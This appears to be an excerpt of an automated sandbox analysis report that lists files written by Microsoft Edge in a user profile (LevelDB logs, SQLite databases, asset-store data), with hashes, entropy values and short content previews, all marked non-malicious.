Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.259537668810748
Encrypted:	false
SSDEEP:	6:HHEZB0RM1N723oH+Tcwtp3hBtB2KLlVHEZcq2PN723oH+Tcwtp3hBWsIFUv:iB0RsaYebp3dFLMmvVaYebp3eFUv
MD5:	63D4F5E5E0B4FEE13FF87040140CC82E
SHA1:	59013A8FF1C1A6FF8FFDFDBDBFD68A1E442F3430
SHA-256:	7AAEBF5B19BDDCD8016FFC964DE5A82FF2AECE774A3DF870A18B1DDF3074D75A
SHA-512:	42409EAD03D404A359AF7FBD85FAB2F39E6669334283D35D0B804C0FC34304EC7EB3E7A52F37ABF8059CE3264D88613B953D95F20E8A4E4A8F90B6756EA9EBA7
Malicious:	false
Preview:	2024/11/28-09:17:34.930 1e24 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/28-09:17:34.996 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222867655056444
Encrypted:	false
SSDEEP:	24576:IbPMZpVKfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVKfx2mjF
MD5:	0C30ED873B2BCBA1CD077D9A1DD98BF9
SHA1:	9B06DC53A742C3D8AF7558A409544E4BDD7A2386
SHA-256:	FAA3750430056D87433200ED6A4701A9624943AEED40C431AD2713429C4EC925
SHA-512:	EB7FDF6594BAE827CAAF782B9DD2F5117C68AB56E429DC625845336CFCCDBB3FEE2D2C17F221D4D1A7FB25385C6AF3BABE7B333AC51905C394BE0123EA3A9DC9
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.179295950316764
Encrypted:	false
SSDEEP:	6:HHhMq2PN723oH+Tcwt9Eh1tIFUt8YHNZmw+YHsTkwON723oH+Tcwt9Eh15LJ:hMvVaYeb9Eh16FUt8i/+t5OaYeb9Eh1H
MD5:	34D4D015FCB98C3808D68BFE6FD3E28E
SHA1:	8ED2AF0CFC89E11CAEE77C83BD005EC543A19E5F
SHA-256:	D49FB7C0F397C2495D81511101D0F7AEB4665BD7FF8F258CBF722EBA071450D9
SHA-512:	A7DEC75A370896E424B2CF2E61B8769ABB629ADE397E4855D680E57342D220010D5B859D43FE9490BC72627537302148A0A977F613A66039401F219FA0929A08
Malicious:	false
Preview:	2024/11/28-09:17:34.952 12f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-09:17:34.954 12f4 Recovering log #3.2024/11/28-09:17:34.966 12f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.179295950316764
Encrypted:	false
SSDEEP:	6:HHhMq2PN723oH+Tcwt9Eh1tIFUt8YHNZmw+YHsTkwON723oH+Tcwt9Eh15LJ:hMvVaYeb9Eh16FUt8i/+t5OaYeb9Eh1H
MD5:	34D4D015FCB98C3808D68BFE6FD3E28E
SHA1:	8ED2AF0CFC89E11CAEE77C83BD005EC543A19E5F
SHA-256:	D49FB7C0F397C2495D81511101D0F7AEB4665BD7FF8F258CBF722EBA071450D9
SHA-512:	A7DEC75A370896E424B2CF2E61B8769ABB629ADE397E4855D680E57342D220010D5B859D43FE9490BC72627537302148A0A977F613A66039401F219FA0929A08
Malicious:	false
Preview:	2024/11/28-09:17:34.952 12f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-09:17:34.954 12f4 Recovering log #3.2024/11/28-09:17:34.966 12f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4627347318204851
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuNp:TouQq3qh7z3bY2LNW9WMcUvBuNp
MD5:	9D14C9DB63FD3DAEDD6DA75988EE3C3E
SHA1:	0A74C1E1E7A50A1CDCA7299781A7669FD2ADD548
SHA-256:	6C57845C6FD14B29B29863F2ABFED6F60F5F6351C9F30DB74E9BDA15E1808111
SHA-512:	3D22DF95440C24F0DFB52FD124395D87B9172902D5950DECE6F0AB4050D98D39C391FB444E1D41E4E1509CB9A807FC30CEF6DB10707D17B956FF71D10739C702
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.2125683129711184
Encrypted:	false
SSDEEP:	6:HHeZn9+q2PN723oH+TcwtnG2tMsIFUt8YHvNJZmw+YHvN9VkwON723oH+TcwtnGg:eZ4vVaYebn9GFUt8KJ/+KD5OaYebn95J
MD5:	8805A2B7BC904900C7D47D186A195FF3
SHA1:	A83FDF59AFC5887BF45C0DA78614CE29EC8F774A
SHA-256:	C1B837B18C0A65D9E53539AEF5165194924CD01A9ABEE39634122DDA25B9937A
SHA-512:	B88437133B19ED2D2B3542BAE458A1AC77B4E50B030CCFED81F46C8F46809C0C335E194107D3EC7CCE0C7B8F231D381D6F2794DF755F00879C75F47E2EE43AF4
Malicious:	false
Preview:	2024/11/28-09:17:30.415 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-09:17:30.416 1e28 Recovering log #3.2024/11/28-09:17:30.416 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.2125683129711184
Encrypted:	false
SSDEEP:	6:HHeZn9+q2PN723oH+TcwtnG2tMsIFUt8YHvNJZmw+YHvN9VkwON723oH+TcwtnGg:eZ4vVaYebn9GFUt8KJ/+KD5OaYebn95J
MD5:	8805A2B7BC904900C7D47D186A195FF3
SHA1:	A83FDF59AFC5887BF45C0DA78614CE29EC8F774A
SHA-256:	C1B837B18C0A65D9E53539AEF5165194924CD01A9ABEE39634122DDA25B9937A
SHA-512:	B88437133B19ED2D2B3542BAE458A1AC77B4E50B030CCFED81F46C8F46809C0C335E194107D3EC7CCE0C7B8F231D381D6F2794DF755F00879C75F47E2EE43AF4
Malicious:	false
Preview:	2024/11/28-09:17:30.415 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-09:17:30.416 1e28 Recovering log #3.2024/11/28-09:17:30.416 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6123449576496476
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jMEP9TppmmL:TO8D4jJ/6Up+4mFj
MD5:	E90569F8290CB04B8EC1898009EB1EE5
SHA1:	612770B1F44884BFE939721604F5062DDEF744E9
SHA-256:	2C233FCB82DDA127643A43C9C312FA42A5DD88910E3772912F892B9AF336D823
SHA-512:	3182A4E72FBCC597854F449FFF3E98000F59CD2C44CC948E4AB34CDF6C8FCDE83FF837AAC7EDA4E98A17DE4432D7460B5FD77AFE193D09E92EA17DD7B263AB5A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354175732862666
Encrypted:	false
SSDEEP:	6144:gA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:gFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	29BF75D770722EFDD1BBCCFC50E3C8BD
SHA1:	7FB638C81B9868AD3B6547D8B7BD82E73C9F0EB7
SHA-256:	2C08AAC68CE2C2A0799AB5CA34CDB34FA58198D898F0E34BE71517B1EA51A195
SHA-512:	E7E993BEE62BFA7952CB7827731B0637EC5D943D9CB7E914D055A87078701DA6E3E3A25A03688722CBAE62AC6DF1B64CBEAE48B8093CBED5C6D147292D0063D0
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13377277058621819..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.15454645379274
Encrypted:	false
SSDEEP:	6:HHt3RM1N723oH+Tcwtk2WwnvB2KLlVHcOq2PN723oH+Tcwtk2WwnvIFUv:fsaYebkxwnvFLFvVaYebkxwnQFUv
MD5:	4B996FF03CF23D2BB158A94993CF620B
SHA1:	19EBCA998221DD487F7D1FB503DC672BE1766852
SHA-256:	4BE4C91DDDBE1E71EA520C8546AD88678435765A41C9A8B31F7A615A22291B01
SHA-512:	217B409442D4E4B3705F57B5914233384811FDA26404F046D7302B8FBD84A2F66C7F90DA5C5EB96A2AF5D77FD7CC8F6DC2E26BE3F38311EA2C951BD28E3BF3F6
Malicious:	false
Preview:	2024/11/28-09:17:34.891 23e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/28-09:17:34.914 23e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324615067218794
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rz:C1gAg1zfvr
MD5:	D923EBB08616EEDCF61C31F6507033E3
SHA1:	D881A7807C6AB387A9B93D6A4506EF4F24536595
SHA-256:	A6EEF31EF1DF9D33E74A0C628EDE7D405ACA4AFCB13C1A722DFC517D2689D11F
SHA-512:	0EDDE41BA2EF7DBAFC524F5122879FB7ECF25E7425C16C9870AE71941E5469F0DCDDEFF6BC5744CDF0CF8D0F7723980C1FE6BEE8550BDA6DFA4CE6838BFC9CE6
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.129200652866311
Encrypted:	false
SSDEEP:	6:HHSZ9+q2PN723oH+Tcwt8aPrqIFUt8YHi/JZmw+YHi/9VkwON723oH+Tcwt8amLJ:SZ4vVaYebL3FUt8bJ/+bD5OaYebQJ
MD5:	6FB73BEE402DAACB0949EC539A515106
SHA1:	97C705DC168DD84581B8272A4DCBDE523DB612CF
SHA-256:	465B0C92504142844E701B0D935F08720CD5800AF5E65D62599762F6D22FA5E0
SHA-512:	C24381753BF79E2AAB644894EBDF4378949F9363EFAD4A0093186F536B721FE70EB4ED75658D5C6D9BF084716258F76E7F6191F58FBB7E9172A66ED26BF7043D
Malicious:	false
Preview:	2024/11/28-09:17:30.419 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-09:17:30.420 1e28 Recovering log #3.2024/11/28-09:17:30.420 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.129200652866311
Encrypted:	false
SSDEEP:	6:HHSZ9+q2PN723oH+Tcwt8aPrqIFUt8YHi/JZmw+YHi/9VkwON723oH+Tcwt8amLJ:SZ4vVaYebL3FUt8bJ/+bD5OaYebQJ
MD5:	6FB73BEE402DAACB0949EC539A515106
SHA1:	97C705DC168DD84581B8272A4DCBDE523DB612CF
SHA-256:	465B0C92504142844E701B0D935F08720CD5800AF5E65D62599762F6D22FA5E0
SHA-512:	C24381753BF79E2AAB644894EBDF4378949F9363EFAD4A0093186F536B721FE70EB4ED75658D5C6D9BF084716258F76E7F6191F58FBB7E9172A66ED26BF7043D
Malicious:	false
Preview:	2024/11/28-09:17:30.419 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-09:17:30.420 1e28 Recovering log #3.2024/11/28-09:17:30.420 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.144828120504733
Encrypted:	false
SSDEEP:	6:HHguON9+q2PN723oH+Tcwt865IFUt8YHTp3JZmw+YHTp39VkwON723oH+Tcwt86L:gFN4vVaYeb/WFUt8wp3J/+wp3D5OaYev
MD5:	2B708E10FA236CDD6747BE3C76C30FE0
SHA1:	C802B9E4914C9F92EB5A05A9DC764D5F76243AC5
SHA-256:	9775D34381BF0DCC0BE1A1A5167F4368132F6713DD04ED66548AFD5F41816B90
SHA-512:	68D98556D8093B4B9C8AA1ABF9EF27FF5C9151F4FD5CB21590ADFD4E8B8BA74B1FCBB9571A1D82249C01AAB559638DEF9BA9944CA4DE079AA8E57FAD2945C739
Malicious:	false
Preview:	2024/11/28-09:17:30.422 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-09:17:30.423 1e28 Recovering log #3.2024/11/28-09:17:30.423 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.144828120504733
Encrypted:	false
SSDEEP:	6:HHguON9+q2PN723oH+Tcwt865IFUt8YHTp3JZmw+YHTp39VkwON723oH+Tcwt86L:gFN4vVaYeb/WFUt8wp3J/+wp3D5OaYev
MD5:	2B708E10FA236CDD6747BE3C76C30FE0
SHA1:	C802B9E4914C9F92EB5A05A9DC764D5F76243AC5
SHA-256:	9775D34381BF0DCC0BE1A1A5167F4368132F6713DD04ED66548AFD5F41816B90
SHA-512:	68D98556D8093B4B9C8AA1ABF9EF27FF5C9151F4FD5CB21590ADFD4E8B8BA74B1FCBB9571A1D82249C01AAB559638DEF9BA9944CA4DE079AA8E57FAD2945C739
Malicious:	false
Preview:	2024/11/28-09:17:30.422 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-09:17:30.423 1e28 Recovering log #3.2024/11/28-09:17:30.423 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
